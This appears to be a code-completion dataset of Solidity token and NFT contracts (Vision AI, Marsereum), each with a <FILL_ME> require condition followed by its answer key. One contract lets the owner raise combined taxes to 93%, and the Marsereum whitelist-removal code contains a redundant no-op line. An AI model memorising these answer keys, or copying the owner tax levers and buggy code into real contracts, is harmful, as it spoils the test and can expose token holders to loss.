}
function _baseURI() internal view override returns (string memory) {
}
function withdraw() public onlyOwner {
}
function calculateTokenPrice(uint256 _numTokens)
public
view
returns (uint256)
{
}
function balance() public view returns (uint256) {
}
function flipSaleState() public onlyOwner {
}
function mint(uint256 _numTokens) public payable {
require(saleIsActive, "Sale has not started.");
require(_numTokens <= MAX_MINT, "Exceeds maximum mint of 10");
require(<FILL_ME>)
require(
msg.value >=
SafeMath.mul(calculateTokenPrice(_numTokens), _numTokens),
"Amount of Ether sent is not correct."
);
for (uint256 i = 0; i < _numTokens; i++) {
uint256 newItemId = totalSupply();
_safeMint(msg.sender, newItemId);
}
}
function ownerMint(uint256 _numTokens) public payable onlyOwner {
}
}
| SafeMath.add(totalSupply(),_numTokens)<=MAX_SUPPLY,"Exceeds maximum token supply." | 418,791 | SafeMath.add(totalSupply(),_numTokens)<=MAX_SUPPLY |
"Roundtrip too high" | //SPDX-License-Identifier: MIT
/*
https://t.me/VisionAI_TG
*/
pragma solidity 0.8.17;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address __owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal _owner;
constructor(address creatorOwner) { }
modifier onlyOwner() { }
function transferOwnership(address payable newOwner) external onlyOwner { }
event OwnershipTransferred(address _owner);
}
interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); }
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract VAI is IERC20, Auth {
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 200_000 * (10**_decimals);
string private constant _name = "Vision AI";
string private constant _symbol = "V-AI";
uint8 private _buyTaxRate = 5;
uint8 private _sellTaxRate = 5;
uint16 private _taxSharesMarketing = 8;
uint16 private _taxSharesDevelopment = 2;
uint16 private _taxSharesBurn = 0;
uint16 private _taxSharesLP = 0;
uint16 private _totalTaxShares = _taxSharesMarketing + _taxSharesDevelopment + _taxSharesBurn + _taxSharesLP;
address payable private _walletMarketing = payable(0xd7D1fF2B5Eb7031962Da93cb65A8D49F7bB74f6F);
address payable private _walletDevelopment = payable(0x8704f2F518565cf2cc4974331EF8a188bA3a7135);
uint256 private _maxTxAmount = _totalSupply;
uint256 private _maxWalletAmount = _totalSupply;
uint256 private _taxSwapMin = _totalSupply * 10 / 100000;
uint256 private _taxSwapMax = _totalSupply * 100 / 100000;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _noFees;
mapping (address => bool) private _noLimits;
address constant private _burnWallet = address(0);
address private _lpOwner;
address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //uniswap v2 router
IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
address private _primaryLP;
mapping (address => bool) private _isLP;
bool private _tradingOpen;
bool private _inTaxSwap = false;
modifier lockTaxSwap { }
event TokensAirdropped(uint256 totalWallets, uint256 totalTokens);
event TokensBurned(address indexed burnedByWallet, uint256 tokenAmount);
constructor() Auth(msg.sender) {
}
receive() external payable {}
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function openTrading() external onlyOwner {
}
function _approveRouter(uint256 _tokenAmount) internal {
}
function addInitialLiquidity() external onlyOwner lockTaxSwap {
}
function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal {
}
function _openTrading() internal {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function _checkLimits(address sender, address recipient, uint256 transferAmount) internal view returns (bool) {
}
function _checkTradingOpen(address sender) private view returns (bool){
}
function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) {
}
function getExemptions(address wallet) external view returns (bool noFees, bool noLimits) {
}
function setExemptions(address wallet, bool noFees, bool noLimits) external onlyOwner {
}
function setExtraLP(address lpContractAddress, bool isLiquidityPool) external onlyOwner {
}
function isLP(address wallet) external view returns (bool) {
}
function getTaxInfo() external view returns (uint8 buyTax, uint8 sellTax, uint16 sharesMarketing, uint16 sharesDevelopment, uint16 sharesLP, uint16 sharesTokenBurn ) {
}
function setTaxRates(uint8 newBuyTax, uint8 newSellTax) external onlyOwner {
require(<FILL_ME>)
_buyTaxRate = newBuyTax;
_sellTaxRate = newSellTax;
}
function setTaxDistribution(uint16 sharesTokenBurn, uint16 sharesAutoLP, uint16 sharesMarketing, uint16 sharesDevelopment) external onlyOwner {
}
function getAddresses() external view returns (address owner, address primaryLP, address marketing, address development, address LPowner ) {
}
function setTaxWallets(address newMarketing, address newDevelopment, address newLpOwner) external onlyOwner {
}
function getLimitsInfo() external view returns (uint256 maxTX, uint256 maxWallet, uint256 taxSwapMin, uint256 taxSwapMax ) {
}
function increaseLimits(uint16 maxTxAmtPermile, uint16 maxWalletAmtPermile) external onlyOwner {
}
function setTaxSwapLimits(uint32 minValue, uint32 minDivider, uint32 maxValue, uint32 maxDivider) external onlyOwner {
}
function _burnTokens(address fromWallet, uint256 amount) private {
}
function _swapTaxAndLiquify() private lockTaxSwap {
}
function _swapTaxTokensForEth(uint256 tokenAmount) private {
}
function _distributeTaxEth(uint256 amount) private {
}
function manualTaxSwapAndSend(bool swapTokens, bool sendEth) external onlyOwner {
}
function burnTokens(uint256 amount) external {
}
function airdrop(address[] calldata addresses, uint256[] calldata tokenAmounts) external onlyOwner {
}
}
| newBuyTax+newSellTax<=93,"Roundtrip too high" | 418,874 | newBuyTax+newSellTax<=93 |
null | // SPDX-License-Identifier: MIT
pragma solidity =0.8.15;
//t.me/Marsereum (https://t.me/Marsereum)
//marsereum.org
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/draft-ERC20Permit.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol";
import "./IDEX.sol";
import "./MarsereumDividendToken.sol";
contract Marsereum is ERC20, Ownable, ERC20Snapshot, ERC20Votes {
IRouter public router;
address public pair;
DividendTracker public dividendTracker;
address public GovernorAddress;
address public devWallet = 0xd0EBE29797119090A2c4942aE7900A9A1369006B;
uint256 public swapTokensAtAmount;
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWallet;
mapping(address => bool) public _isBot;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedFromMaxWallet;
mapping(address => bool) public automatedMarketMakerPairs;
mapping(address => bool) private whitelist;
mapping(uint256 => address) private WhitelistedAddresses;
uint256 public NumWhitelisted;
bool private swapping;
bool public swapEnabled = true;
bool public claimEnabled;
bool public tradingEnabled;
event ExcludeFromFees(address indexed account, bool isExcluded);
event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event GasForProcessingUpdated(
uint256 indexed newValue,
uint256 indexed oldValue
);
event MarsFundsDistributed(uint256 Funds_sent);
event SendDividends(uint256 tokensSwapped, uint256 amount);
event ProcessedDividendTracker(
uint256 iterations,
uint256 claims,
uint256 lastProcessedIndex,
bool indexed automatic,
uint256 gas,
address indexed processor
);
struct Taxes {
uint256 rewards; // dividends
uint256 treasury; // mars wallets
uint256 dev; //
}
Taxes public buyTaxes = Taxes(2, 2, 1);
Taxes public sellTaxes = Taxes(2, 2, 1);
uint256 public totalBuyTax = 5;
uint256 public totalSellTax = 5;
constructor(address _dev)
ERC20("Marsereum", "MTH")
ERC20Permit("Marsereum")
{
}
receive() external payable {}
modifier onlyGovernor() {
}
///Functions For RewardCycle information
function UpdateGovernorAddress(address _newgov) public onlyOwner {
}
function addToWhitelist(address _address) external onlyOwner {
require(<FILL_ME>)
WhitelistedAddresses[NumWhitelisted] = _address;
dividendTracker.excludeFromDividends(_address, true);
NumWhitelisted = NumWhitelisted + 1;
whitelist[_address] = true;
}
function addToWhitelistGovernor(address _address) external onlyGovernor {
}
function removeFromWhitelist(address _address) external onlyOwner {
}
function removeFromWhitelistGovernor(address _address)
external
onlyGovernor
{
}
function isWhitelisted(address _address) public view returns (bool) {
}
function snapshot() public onlyOwner {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal override(ERC20, ERC20Snapshot) {
}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal override(ERC20, ERC20Votes) {
}
function _mint(address to, uint256 amount)
internal
override(ERC20, ERC20Votes)
{
}
function _burn(address account, uint256 amount)
internal
override(ERC20, ERC20Votes)
{
}
function updateDividendTracker(address newAddress) public onlyOwner {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function excludeFromMaxWallet(address account, bool excluded)
public
onlyOwner
{
}
function excludeMultipleAccountsFromFees(
address[] calldata accounts,
bool excluded
) public onlyOwner {
}
/// @dev "true" to exclude, "false" to include
function excludeFromDividends(address account, bool value)
external
onlyOwner
{
}
function setDevWallet(address newWallet) public onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) public onlyOwner {
}
function setMaxBuyAndSell(uint256 maxBuy, uint256 maxSell)
public
onlyOwner
{
}
function setDiv_Token(address _token) external onlyOwner {
}
/// @notice Update the threshold to swap tokens for liquidity,
/// treasury and dividends.
function setSwapTokensAtAmount(uint256 amount) public onlyOwner {
}
function setBuyTaxes(
uint256 _rewards,
uint256 _treasury,
uint256 _dev
) external onlyOwner {
}
function setSellTaxes(
uint256 _rewards,
uint256 _treasury,
uint256 _dev
) external onlyOwner {
}
function setBuyTaxesGovernor(
uint256 _rewards,
uint256 _treasury,
uint256 _dev
) external onlyGovernor {
}
function setSellTaxesGovernor(
uint256 _rewards,
uint256 _treasury,
uint256 _dev
) external onlyGovernor {
}
/// @notice Enable or disable internal swaps
/// @dev Set "true" to enable internal swaps for liquidity, treasury and dividends
function setSwapEnabled(bool _enabled) external onlyOwner {
}
/// @notice Manual claim the dividends
function claim() external {
}
/// @notice Withdraw tokens sent by mistake.
/// @param tokenAddress The address of the token to withdraw
function rescueETH20Tokens(address tokenAddress) external onlyOwner {
}
/// @notice Send remaining ETH to treasuryWallet
/// @dev It will send all ETH to treasuryWallet
function forceSend() external onlyOwner {
}
function trackerRescueETH20Tokens(address tokenAddress) external onlyOwner {
}
function trackerForceSend() external onlyOwner {
}
function updateRouter(address newRouter) external onlyOwner {
}
function activateTrading() external onlyOwner {
}
function setClaimEnabled(bool state) external onlyOwner {
}
/// @param bot The bot address
/// @param value "true" to blacklist, "false" to unblacklist
function setBot(address bot, bool value) external onlyOwner {
}
/// @dev Set new pairs created due to listing in new DEX
function setAutomatedMarketMakerPair(address newPair, bool value)
external
onlyOwner
{
}
function _setAutomatedMarketMakerPair(address newPair, bool value) private {
}
function getTotalDividendsDistributed() external view returns (uint256) {
}
function isExcludedFromFees(address account) public view returns (bool) {
}
function withdrawableDividendOf(address account)
public
view
returns (uint256)
{
}
function dividendTokenBalanceOf(address account)
public
view
returns (uint256)
{
}
function getAccountInfo(address account)
external
view
returns (
address,
uint256,
uint256,
uint256,
uint256
)
{
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function swapAndLiquify(uint256 tokens) private {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
}
contract DividendTracker is Ownable, DividendPayingToken {
struct AccountInfo {
address account;
uint256 withdrawableDividends;
uint256 totalDividends;
uint256 lastClaimTime;
}
mapping(address => bool) public excludedFromDividends;
mapping(address => uint256) public lastClaimTimes;
event ExcludeFromDividends(address indexed account, bool value);
event Claim(address indexed account, uint256 amount);
constructor() DividendPayingToken("Dividend_Tracker", "Dividend_Tracker") {}
function trackerRescueETH20Tokens(address recipient, address tokenAddress)
external
onlyOwner
{
}
function trackerForceSend(address recipient) external onlyOwner {
}
function _transfer(
address,
address,
uint256
) internal pure override {
}
function excludeFromDividends(address account, bool value)
external
onlyOwner
{
}
function getAccount(address account)
public
view
returns (
address,
uint256,
uint256,
uint256,
uint256
)
{
}
function setBalance(address account, uint256 newBalance)
external
onlyOwner
{
}
function updateLP_Token(address _lpToken) external onlyOwner {
}
function processAccount(address payable account)
external
onlyOwner
returns (bool)
{
}
}
| !whitelist[_address] | 418,923 | !whitelist[_address] |
null | // SPDX-License-Identifier: MIT
pragma solidity =0.8.15;
//t.me/Marsereum (https://t.me/Marsereum)
//marsereum.org
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/draft-ERC20Permit.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol";
import "./IDEX.sol";
import "./MarsereumDividendToken.sol";
contract Marsereum is ERC20, Ownable, ERC20Snapshot, ERC20Votes {
IRouter public router;
address public pair;
DividendTracker public dividendTracker;
address public GovernorAddress;
address public devWallet = 0xd0EBE29797119090A2c4942aE7900A9A1369006B;
uint256 public swapTokensAtAmount;
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWallet;
mapping(address => bool) public _isBot;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedFromMaxWallet;
mapping(address => bool) public automatedMarketMakerPairs;
mapping(address => bool) private whitelist;
mapping(uint256 => address) private WhitelistedAddresses;
uint256 public NumWhitelisted;
bool private swapping;
bool public swapEnabled = true;
bool public claimEnabled;
bool public tradingEnabled;
event ExcludeFromFees(address indexed account, bool isExcluded);
event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event GasForProcessingUpdated(
uint256 indexed newValue,
uint256 indexed oldValue
);
event MarsFundsDistributed(uint256 Funds_sent);
event SendDividends(uint256 tokensSwapped, uint256 amount);
event ProcessedDividendTracker(
uint256 iterations,
uint256 claims,
uint256 lastProcessedIndex,
bool indexed automatic,
uint256 gas,
address indexed processor
);
struct Taxes {
uint256 rewards; // dividends
uint256 treasury; // mars wallets
uint256 dev; //
}
Taxes public buyTaxes = Taxes(2, 2, 1);
Taxes public sellTaxes = Taxes(2, 2, 1);
uint256 public totalBuyTax = 5;
uint256 public totalSellTax = 5;
constructor(address _dev)
ERC20("Marsereum", "MTH")
ERC20Permit("Marsereum")
{
}
receive() external payable {}
modifier onlyGovernor() {
}
///Functions For RewardCycle information
function UpdateGovernorAddress(address _newgov) public onlyOwner {
}
function addToWhitelist(address _address) external onlyOwner {
}
function addToWhitelistGovernor(address _address) external onlyGovernor {
}
function removeFromWhitelist(address _address) external onlyOwner {
require(<FILL_ME>)
// Find the index of the address to remove
uint256 indexToRemove;
for (uint256 i = 0; i < NumWhitelisted; i++) {
if (WhitelistedAddresses[i] == _address) {
indexToRemove = i;
break;
}
}
// Shift the remaining elements to the left
for (uint256 j = indexToRemove; j < NumWhitelisted - 1; j++) {
WhitelistedAddresses[j] = WhitelistedAddresses[j + 1];
}
// Decrement the number of whitelisted addresses and update the mapping
NumWhitelisted--;
whitelist[_address] = false;
NumWhitelisted - 1;
whitelist[_address] = false;
}
function removeFromWhitelistGovernor(address _address)
external
onlyGovernor
{
}
function isWhitelisted(address _address) public view returns (bool) {
}
function snapshot() public onlyOwner {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal override(ERC20, ERC20Snapshot) {
}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal override(ERC20, ERC20Votes) {
}
function _mint(address to, uint256 amount)
internal
override(ERC20, ERC20Votes)
{
}
function _burn(address account, uint256 amount)
internal
override(ERC20, ERC20Votes)
{
}
function updateDividendTracker(address newAddress) public onlyOwner {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function excludeFromMaxWallet(address account, bool excluded)
public
onlyOwner
{
}
function excludeMultipleAccountsFromFees(
address[] calldata accounts,
bool excluded
) public onlyOwner {
}
/// @dev "true" to exclude, "false" to include
function excludeFromDividends(address account, bool value)
external
onlyOwner
{
}
function setDevWallet(address newWallet) public onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) public onlyOwner {
}
function setMaxBuyAndSell(uint256 maxBuy, uint256 maxSell)
public
onlyOwner
{
}
function setDiv_Token(address _token) external onlyOwner {
}
/// @notice Update the threshold to swap tokens for liquidity,
/// treasury and dividends.
function setSwapTokensAtAmount(uint256 amount) public onlyOwner {
}
function setBuyTaxes(
uint256 _rewards,
uint256 _treasury,
uint256 _dev
) external onlyOwner {
}
function setSellTaxes(
uint256 _rewards,
uint256 _treasury,
uint256 _dev
) external onlyOwner {
}
function setBuyTaxesGovernor(
uint256 _rewards,
uint256 _treasury,
uint256 _dev
) external onlyGovernor {
}
function setSellTaxesGovernor(
uint256 _rewards,
uint256 _treasury,
uint256 _dev
) external onlyGovernor {
}
/// @notice Enable or disable internal swaps
/// @dev Set "true" to enable internal swaps for liquidity, treasury and dividends
function setSwapEnabled(bool _enabled) external onlyOwner {
}
/// @notice Manual claim the dividends
function claim() external {
}
/// @notice Withdraw tokens sent by mistake.
/// @param tokenAddress The address of the token to withdraw
function rescueETH20Tokens(address tokenAddress) external onlyOwner {
}
/// @notice Send remaining ETH to treasuryWallet
/// @dev It will send all ETH to treasuryWallet
function forceSend() external onlyOwner {
}
function trackerRescueETH20Tokens(address tokenAddress) external onlyOwner {
}
function trackerForceSend() external onlyOwner {
}
function updateRouter(address newRouter) external onlyOwner {
}
function activateTrading() external onlyOwner {
}
function setClaimEnabled(bool state) external onlyOwner {
}
/// @param bot The bot address
/// @param value "true" to blacklist, "false" to unblacklist
function setBot(address bot, bool value) external onlyOwner {
}
/// @dev Set new pairs created due to listing in new DEX
function setAutomatedMarketMakerPair(address newPair, bool value)
external
onlyOwner
{
}
function _setAutomatedMarketMakerPair(address newPair, bool value) private {
}
function getTotalDividendsDistributed() external view returns (uint256) {
}
function isExcludedFromFees(address account) public view returns (bool) {
}
function withdrawableDividendOf(address account)
public
view
returns (uint256)
{
}
function dividendTokenBalanceOf(address account)
public
view
returns (uint256)
{
}
function getAccountInfo(address account)
external
view
returns (
address,
uint256,
uint256,
uint256,
uint256
)
{
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function swapAndLiquify(uint256 tokens) private {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
}
contract DividendTracker is Ownable, DividendPayingToken {
struct AccountInfo {
address account;
uint256 withdrawableDividends;
uint256 totalDividends;
uint256 lastClaimTime;
}
mapping(address => bool) public excludedFromDividends;
mapping(address => uint256) public lastClaimTimes;
event ExcludeFromDividends(address indexed account, bool value);
event Claim(address indexed account, uint256 amount);
constructor() DividendPayingToken("Dividend_Tracker", "Dividend_Tracker") {}
function trackerRescueETH20Tokens(address recipient, address tokenAddress)
external
onlyOwner
{
}
function trackerForceSend(address recipient) external onlyOwner {
}
function _transfer(
address,
address,
uint256
) internal pure override {
}
function excludeFromDividends(address account, bool value)
external
onlyOwner
{
}
function getAccount(address account)
public
view
returns (
address,
uint256,
uint256,
uint256,
uint256
)
{
}
function setBalance(address account, uint256 newBalance)
external
onlyOwner
{
}
function updateLP_Token(address _lpToken) external onlyOwner {
}
function processAccount(address payable account)
external
onlyOwner
returns (bool)
{
}
}
| whitelist[_address] | 418,923 | whitelist[_address] |
"Cannot set maxWallet lower than 1%" | // SPDX-License-Identifier: MIT
pragma solidity =0.8.15;
//t.me/Marsereum (https://t.me/Marsereum)
//marsereum.org
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/draft-ERC20Permit.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol";
import "./IDEX.sol";
import "./MarsereumDividendToken.sol";
contract Marsereum is ERC20, Ownable, ERC20Snapshot, ERC20Votes {
IRouter public router;
address public pair;
DividendTracker public dividendTracker;
address public GovernorAddress;
address public devWallet = 0xd0EBE29797119090A2c4942aE7900A9A1369006B;
uint256 public swapTokensAtAmount;
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWallet;
mapping(address => bool) public _isBot;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedFromMaxWallet;
mapping(address => bool) public automatedMarketMakerPairs;
mapping(address => bool) private whitelist;
mapping(uint256 => address) private WhitelistedAddresses;
uint256 public NumWhitelisted;
bool private swapping;
bool public swapEnabled = true;
bool public claimEnabled;
bool public tradingEnabled;
event ExcludeFromFees(address indexed account, bool isExcluded);
event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event GasForProcessingUpdated(
uint256 indexed newValue,
uint256 indexed oldValue
);
event MarsFundsDistributed(uint256 Funds_sent);
event SendDividends(uint256 tokensSwapped, uint256 amount);
event ProcessedDividendTracker(
uint256 iterations,
uint256 claims,
uint256 lastProcessedIndex,
bool indexed automatic,
uint256 gas,
address indexed processor
);
struct Taxes {
uint256 rewards; // dividends
uint256 treasury; // mars wallets
uint256 dev; //
}
Taxes public buyTaxes = Taxes(2, 2, 1);
Taxes public sellTaxes = Taxes(2, 2, 1);
uint256 public totalBuyTax = 5;
uint256 public totalSellTax = 5;
constructor(address _dev)
ERC20("Marsereum", "MTH")
ERC20Permit("Marsereum")
{
}
receive() external payable {}
modifier onlyGovernor() {
}
///Functions For RewardCycle information
function UpdateGovernorAddress(address _newgov) public onlyOwner {
}
function addToWhitelist(address _address) external onlyOwner {
}
function addToWhitelistGovernor(address _address) external onlyGovernor {
}
function removeFromWhitelist(address _address) external onlyOwner {
}
function removeFromWhitelistGovernor(address _address)
external
onlyGovernor
{
}
function isWhitelisted(address _address) public view returns (bool) {
}
function snapshot() public onlyOwner {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal override(ERC20, ERC20Snapshot) {
}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal override(ERC20, ERC20Votes) {
}
function _mint(address to, uint256 amount)
internal
override(ERC20, ERC20Votes)
{
}
function _burn(address account, uint256 amount)
internal
override(ERC20, ERC20Votes)
{
}
function updateDividendTracker(address newAddress) public onlyOwner {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function excludeFromMaxWallet(address account, bool excluded)
public
onlyOwner
{
}
function excludeMultipleAccountsFromFees(
address[] calldata accounts,
bool excluded
) public onlyOwner {
}
/// @dev "true" to exclude, "false" to include
function excludeFromDividends(address account, bool value)
external
onlyOwner
{
}
function setDevWallet(address newWallet) public onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) public onlyOwner {
require(<FILL_ME>)
maxWallet = newNum * (10**18);
}
function setMaxBuyAndSell(uint256 maxBuy, uint256 maxSell)
public
onlyOwner
{
}
function setDiv_Token(address _token) external onlyOwner {
}
/// @notice Update the threshold to swap tokens for liquidity,
/// treasury and dividends.
function setSwapTokensAtAmount(uint256 amount) public onlyOwner {
}
function setBuyTaxes(
uint256 _rewards,
uint256 _treasury,
uint256 _dev
) external onlyOwner {
}
function setSellTaxes(
uint256 _rewards,
uint256 _treasury,
uint256 _dev
) external onlyOwner {
}
function setBuyTaxesGovernor(
uint256 _rewards,
uint256 _treasury,
uint256 _dev
) external onlyGovernor {
}
function setSellTaxesGovernor(
uint256 _rewards,
uint256 _treasury,
uint256 _dev
) external onlyGovernor {
}
/// @notice Enable or disable internal swaps
/// @dev Set "true" to enable internal swaps for liquidity, treasury and dividends
function setSwapEnabled(bool _enabled) external onlyOwner {
}
/// @notice Manual claim the dividends
function claim() external {
}
/// @notice Withdraw tokens sent by mistake.
/// @param tokenAddress The address of the token to withdraw
function rescueETH20Tokens(address tokenAddress) external onlyOwner {
}
/// @notice Send remaining ETH to treasuryWallet
/// @dev It will send all ETH to treasuryWallet
function forceSend() external onlyOwner {
}
function trackerRescueETH20Tokens(address tokenAddress) external onlyOwner {
}
function trackerForceSend() external onlyOwner {
}
function updateRouter(address newRouter) external onlyOwner {
}
function activateTrading() external onlyOwner {
}
function setClaimEnabled(bool state) external onlyOwner {
}
/// @param bot The bot address
/// @param value "true" to blacklist, "false" to unblacklist
function setBot(address bot, bool value) external onlyOwner {
}
/// @dev Set new pairs created due to listing in new DEX
function setAutomatedMarketMakerPair(address newPair, bool value)
external
onlyOwner
{
}
function _setAutomatedMarketMakerPair(address newPair, bool value) private {
}
function getTotalDividendsDistributed() external view returns (uint256) {
}
function isExcludedFromFees(address account) public view returns (bool) {
}
function withdrawableDividendOf(address account)
public
view
returns (uint256)
{
}
function dividendTokenBalanceOf(address account)
public
view
returns (uint256)
{
}
function getAccountInfo(address account)
external
view
returns (
address,
uint256,
uint256,
uint256,
uint256
)
{
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function swapAndLiquify(uint256 tokens) private {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
}
contract DividendTracker is Ownable, DividendPayingToken {
struct AccountInfo {
address account;
uint256 withdrawableDividends;
uint256 totalDividends;
uint256 lastClaimTime;
}
mapping(address => bool) public excludedFromDividends;
mapping(address => uint256) public lastClaimTimes;
event ExcludeFromDividends(address indexed account, bool value);
event Claim(address indexed account, uint256 amount);
constructor() DividendPayingToken("Dividend_Tracker", "Dividend_Tracker") {}
function trackerRescueETH20Tokens(address recipient, address tokenAddress)
external
onlyOwner
{
}
function trackerForceSend(address recipient) external onlyOwner {
}
function _transfer(
address,
address,
uint256
) internal pure override {
}
function excludeFromDividends(address account, bool value)
external
onlyOwner
{
}
function getAccount(address account)
public
view
returns (
address,
uint256,
uint256,
uint256,
uint256
)
{
}
function setBalance(address account, uint256 newBalance)
external
onlyOwner
{
}
function updateLP_Token(address _lpToken) external onlyOwner {
}
function processAccount(address payable account)
external
onlyOwner
returns (bool)
{
}
}
| newNum>(410000000*1),"Cannot set maxWallet lower than 1%" | 418,923 | newNum>(410000000*1) |
"Fee must be higher then 1%" | // SPDX-License-Identifier: MIT
pragma solidity =0.8.15;
//t.me/Marsereum (https://t.me/Marsereum)
//marsereum.org
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/draft-ERC20Permit.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol";
import "./IDEX.sol";
import "./MarsereumDividendToken.sol";
contract Marsereum is ERC20, Ownable, ERC20Snapshot, ERC20Votes {
IRouter public router;
address public pair;
DividendTracker public dividendTracker;
address public GovernorAddress;
address public devWallet = 0xd0EBE29797119090A2c4942aE7900A9A1369006B;
uint256 public swapTokensAtAmount;
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWallet;
mapping(address => bool) public _isBot;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedFromMaxWallet;
mapping(address => bool) public automatedMarketMakerPairs;
mapping(address => bool) private whitelist;
mapping(uint256 => address) private WhitelistedAddresses;
uint256 public NumWhitelisted;
bool private swapping;
bool public swapEnabled = true;
bool public claimEnabled;
bool public tradingEnabled;
event ExcludeFromFees(address indexed account, bool isExcluded);
event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event GasForProcessingUpdated(
uint256 indexed newValue,
uint256 indexed oldValue
);
event MarsFundsDistributed(uint256 Funds_sent);
event SendDividends(uint256 tokensSwapped, uint256 amount);
event ProcessedDividendTracker(
uint256 iterations,
uint256 claims,
uint256 lastProcessedIndex,
bool indexed automatic,
uint256 gas,
address indexed processor
);
struct Taxes {
uint256 rewards; // dividends
uint256 treasury; // mars wallets
uint256 dev; //
}
Taxes public buyTaxes = Taxes(2, 2, 1);
Taxes public sellTaxes = Taxes(2, 2, 1);
uint256 public totalBuyTax = 5;
uint256 public totalSellTax = 5;
constructor(address _dev)
ERC20("Marsereum", "MTH")
ERC20Permit("Marsereum")
{
}
receive() external payable {}
modifier onlyGovernor() {
}
///Functions For RewardCycle information
function UpdateGovernorAddress(address _newgov) public onlyOwner {
}
function addToWhitelist(address _address) external onlyOwner {
}
function addToWhitelistGovernor(address _address) external onlyGovernor {
}
function removeFromWhitelist(address _address) external onlyOwner {
}
function removeFromWhitelistGovernor(address _address)
external
onlyGovernor
{
}
function isWhitelisted(address _address) public view returns (bool) {
}
function snapshot() public onlyOwner {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal override(ERC20, ERC20Snapshot) {
}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal override(ERC20, ERC20Votes) {
}
function _mint(address to, uint256 amount)
internal
override(ERC20, ERC20Votes)
{
}
function _burn(address account, uint256 amount)
internal
override(ERC20, ERC20Votes)
{
}
function updateDividendTracker(address newAddress) public onlyOwner {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function excludeFromMaxWallet(address account, bool excluded)
public
onlyOwner
{
}
function excludeMultipleAccountsFromFees(
address[] calldata accounts,
bool excluded
) public onlyOwner {
}
